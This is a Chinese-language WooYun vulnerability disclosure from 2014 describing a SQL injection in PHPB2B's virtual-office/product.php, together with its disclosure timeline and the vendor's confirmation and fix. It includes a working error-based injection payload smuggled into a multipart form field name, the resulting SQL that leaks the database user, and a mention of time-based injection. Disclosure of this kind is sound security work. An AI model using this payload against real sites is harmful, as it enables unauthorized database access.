漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-080681
漏洞标题：PHPB2B注入#3(绕过过滤)
相关厂商：phpb2b.com
漏洞作者： darker
提交时间：2014-11-01 11:11
修复时间：2014-12-16 11:12
公开时间：2014-12-16 11:12
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：7
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-11-01： 细节已通知厂商并且等待厂商处理中
2014-11-01： 厂商已经确认，细节仅向厂商公开
2014-11-11： 细节向核心白帽子及相关领域专家公开
2014-11-21： 细节向普通白帽子公开
2014-12-01： 细节向实习白帽子公开
2014-12-16： 细节向公众公开
简要描述：
PHPB2B某处注入
绕过过滤。
官方最新版本. https://github.com/ulinke/phpb2b/archive/master.zip
详细说明：
1.注册企业会员。
2.注册企业会员且通过审核。
发布产品。
漏洞文件。virtual-office/product.php
Content-Disposition: form-data; name="data[product][sort_id]"
Content-Disposition: form-data; name="data[product][name]"
...
...
post提交:Content-Disposition: form-data; name="data[product][sort_id FROM pb_thk_products where 1=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#]"
执行：
SELECT sort_id FROM pb_thk_products where 1=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#,name,price,country_id,content,type_id,category_id,brand_id,status,tag_ids,cache_companyname,industry_id,area_id,member_id,company_id,modified,created FROM pb_thk_products WHERE id='-1'
漏洞证明：
本地测试开启debug。程序默认不开启debug，可延时注入。
修复方案：
过滤。
版权声明：转载请注明来源 darker@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：5
确认时间：2014-11-01 19:44
厂商回复：
确认
最新状态：
2014-12-16：已修复